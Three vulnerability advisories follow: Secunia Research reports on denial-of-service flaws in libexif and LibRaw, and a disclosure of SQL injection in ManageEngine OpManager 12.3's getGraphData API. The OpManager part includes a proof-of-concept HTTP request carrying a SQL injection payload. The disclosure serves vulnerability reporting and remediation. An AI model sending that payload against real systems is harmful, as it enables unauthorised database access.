Secunia Research: libexif EXIF_IFD_INTEROPERABILITY / EXIF_IFD_EXIF Denial of Service Vulnerability
== Secunia Research 2018/12/13 libexif EXIF_IFD_INTEROPERABILITY / EXIF_IFD_EXIF Denial of Service Vulnerability == Table of Contents Affected Software1 Severity.2 Description of Vulnerability.3 Solution.4 Time Table...5 Credits..6 References...7 About Flexera8 Verification.9 == 1) Affected Software * libexif version 0.6.21. Other versions may also be affected. == 2) Severity Rating: Moderately critical Impact: Denial of Service Where: From remote == 3) Description of Vulnerability Secunia Research has discovered a vulnerability in libexif, which can be exploited by malicious people to cause a DoS (Denial of Service). 1) An error when processing the EXIF_IFD_INTEROPERABILITY and EXIF_IFD_EXIF tags can be exploited to exhaust available CPU resources. The vulnerability is confirmed in version 0.6.21. Other versions may also be affected. == 4) Solution No official solution is currently available. == 5) Time Table 2018/09/12 - Maintainer contacted with the vulnerability details. 2018/09/27 - Maintainer contacted for a follow-up. 2018/09/28 - Maintainer confirmed the vulnerability. 2018/11/13 - Maintainer contacted for a follow-up highlighting disclosure policy margins. 2018/12/12 - Release of Secunia Advisory SA84652 based on the disclosure policy. 2018/12/13 - Public disclosure of Secunia Research Advisory. == 6) Credits Laurent Delosieres, Secunia Research at Flexera. == 7) References The Common Vulnerabilities and Exposures (CVE) project has assigned the CVE-2018-20030 identifier for the vulnerability. == 8) About Flexera Flexera helps application producers and enterprises increase application usage and the value they derive from their software. http://www.flexera.com Flexera delivers market-leading Software Vulnerability Management solutions enabling enterprises to proactively identify and remediate software vulnerabilities, effectively reducing the risk of costly security breaches. https://www.flexera.com/products/software-vulnerability-management Flexera supports and contributes to the community in several ways. We have always believed that reliable vulnerability intelligence and tools to aid identifying and fixing vulnerabilities should be freely available for consumers to ensure that users, who care about their online privacy and security, can stay secure. Only a few vendors address vulnerabilities in a proper way and help users get updated and stay secure. End-users (whether private individuals or businesses) are otherwise left largely alone, and that is why back in 2002, Secunia Research started investigating, coordinating disclosure and verifying software vulnerabilities. In 2016, Secunia Research became a part of Flexera and today our in-house software vulnerability research remains the core of the Software Vulnerability Management products at Flexera. https://www.flexera.com/company/secunia-research/ The public Secunia Advisory database contains information for researchers, security enthusiasts, and consumers to lookup individual products and vulnerabilities and assess, whether they need to take any actions to secure their systems or whether a given vulnerability has already been discovered. https://www.flexera.com/company/secunia-research/advisories/ == 9) Verification Please verify this advisory by visiting the website: https://secuniaresearch.flexerasoftware.com/secunia_research/2018-28/ Complete list of vulnerability reports published by Secunia Research: https://www.flexera.com/company/secunia-research/advisories/ ==
Secunia Research: LibRaw Multiple Denial of Service Vulnerabilities
== Secunia Research 2018/12/13 LibRaw Multiple Denial of Service Vulnerabilities == Table of Contents Affected Software1 Severity.2 Description of Vulnerabilities...3 Solution.4 Time Table...5 Credits..6 References...7 About Flexera8 Verification.9 == 1) Affected Software * LibRaw versions prior to 0.19.1. == 2) Severity Rating: Moderately critical Impact: Denial of Service Where: From remote == 3) Description of Vulnerabilities Secunia Research has discovered multiple vulnerabilities in LibRaw, which can be exploited by malicious people to cause a DoS (Denial of Service). 1) A type confusion error within the "unpacked_load_raw()" function (internal/dcraw_common.cpp) can be exploited to trigger an infinite loop. 2) An error within the "parse_rollei()" function (internal/dcraw_common.cpp) can be exploited to trigger an infinite loop. 3) An error within the "parse_sinar_ia()" function (internal/dcraw_common.cpp) can be exploited to exhaust available CPU resources. The vulnerabilities are confirmed in version 0.19.0 and reported in versions prior to 0.19.1. == 4) Solution Update to version 0.19.1. == 5) Time Table 2018/11/22 - Maintainer contacted with the vulnerability details. 2018/11/23 - Maintainer confirmed the vulnerability. 2018/11/23 - Maintainer released a fix. 2018/12/03 - Release of Secunia Advisory SA86384. 2018/12/13 - Public disclosure of Secunia Research Advisory. == 6) Credits Laurent Delosieres, Secunia Research at Flexera. == 7) References The Common Vulnerabilities and Exposures (CVE) project has assigned the CVE-2018-5817, CVE-2018-5818, and CVE-2018-5819 identifiers for the vulnerability. == 8) About Flexera Flexera helps application producers and enterprises increase application usage and the value they derive from their software. http://www.flexera.com Flexera delivers market-leading Software Vulnerability Management solutions enabling enterprises to proactively identify and remediate software vulnerabilities, effectively reducing the risk of costly security breaches. https://www.flexera.com/products/software-vulnerability-management Flexera supports and contributes to the community in several ways. We have always believed that reliable vulnerability intelligence and tools to aid identifying and fixing vulnerabilities should be freely available for consumers to ensure that users, who care about their online privacy and security, can stay secure. Only a few vendors address vulnerabilities in a proper way and help users get updated and stay secure. End-users (whether private individuals or businesses) are otherwise left largely alone, and that is why back in 2002, Secunia Research started investigating, coordinating disclosure and verifying software vulnerabilities. In 2016, Secunia Research became a part of Flexera and today our in-house software vulnerability research remains the core of the Software Vulnerability Management products at Flexera. https://www.flexera.com/company/secunia-research/ The public Secunia Advisory database contains information for researchers, security enthusiasts, and consumers to lookup individual products and vulnerabilities and assess, whether they need to take any actions to secure their systems or whether a given vulnerability has already been discovered. https://www.flexera.com/company/secunia-research/advisories/ == 9) Verification Please verify this advisory by visiting the website: https://www.flexera.com/company/secunia-research/advisories/SR-2018-27.html Complete list of vulnerability reports published by Secunia Research: https://www.flexera.com/company/secunia-research/advisories/
Zoho ManageEngine OpManager 12.3 before 123238 allows SQL injection via the getGraphData API
I. VULNERABILITY - Zoho ManageEngine OpManager 12.3 before 123238 allows SQL injection via the getGraphData API. II. CVE REFERENCE - CVE-2018-20173 III. VENDOR - https://www.manageengine.com IV. TIMELINE - 20/11/18 Vulnerability discovered 20/11/18 Vendor contacted 17/12/2018 OPManager replay that they fixed V. CREDIT - Murat Aydemir from Biznet Bilisim A.S. VI. DESCRIPTION - ManageEngine OPManager product(version 12.3) was vulnerable to SQL Injection attacks. A successfully exploit of this attack could allow arbitrary code execution or unauthenticated access in databases information. References: https://www.manageengine.com/network-monitoring/help/read-me.html https://bugbounty.zoho.com/bb/info#hof VII. PoC - GET /api/json/v2/device/getGraphData?name=192.168.252.150=WMI-MemoryUtilization=WMI-MemoryUtilization10376381'%20or%20'11'%3d'11=Today=true=XX&_=1539935355622 HTTP/1.1 Host: vulnerablehost.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://vulnerablehost.com/apiclient/ember/index.jsp OPMCurrentRoute: http%3A%2F%2F192.168.252.150%3A8061%2Fapiclient%2Fember%2Findex.jsp%23%2FInventory%2FSnapshot%2FMonitoringDevice%2F192.168.252.150%2FPerfGraph%2FWMI-MemoryUtilization%2FWMI-MemoryUtilization X-Requested-With: XMLHttpRequest Cookie: JSESSIONID=XXX; encryptPassForAutomaticSignin=XXX; userNameForAutomaticSignin=admin; domainNameForAutomaticSignin=Authenticator; signInAutomatically=true; authrule_name=Authenticator; NFA__SSO=X; opmcsrfcookie=X DNT: 1 Connection: close -- Bu mesaj ve ekleri, mesajda gönderildiği belirtilen kişi/kişilere özeldir ve gizlidir. Bu mesaj herhangi bir amaç için çoğaltılamaz, dağıtılamaz ve yayınlanamaz. Mesajın gönderildiği kişi değilseniz, mesaj içeriğini ya da eklerini kopyalamayınız, yayınlamayınız ya da başka kişilere yönlendirmeyiniz ve mesajı gönderen kişiyi derhal uyararak bu mesajı siliniz. Şirketimiz, mesajın içeriğinin ve eklerinin size değişikliğe uğrayarak veya geç ulaşmasından; gizliliğinin korunmamasından; virüs içermesinden ve bilgisayar sisteminize verebileceği herhangi bir zarardan sorumlu değildir This message and its attachments are confidential and intended solely for the recipient(s) stated therein. This message cannot be copied, distributed or published for any purpose. If you are not the intended recipient, please do not copy, publish or forward the information existing in the content and attachments of this message. In such case please notify the sender immediately and delete all the copies of the message. Our company shall have no liability for any changes in or late receiving of the message, loss of integrity and confidentiality, viruses and any damages caused in anyway to your computer system based on this message.
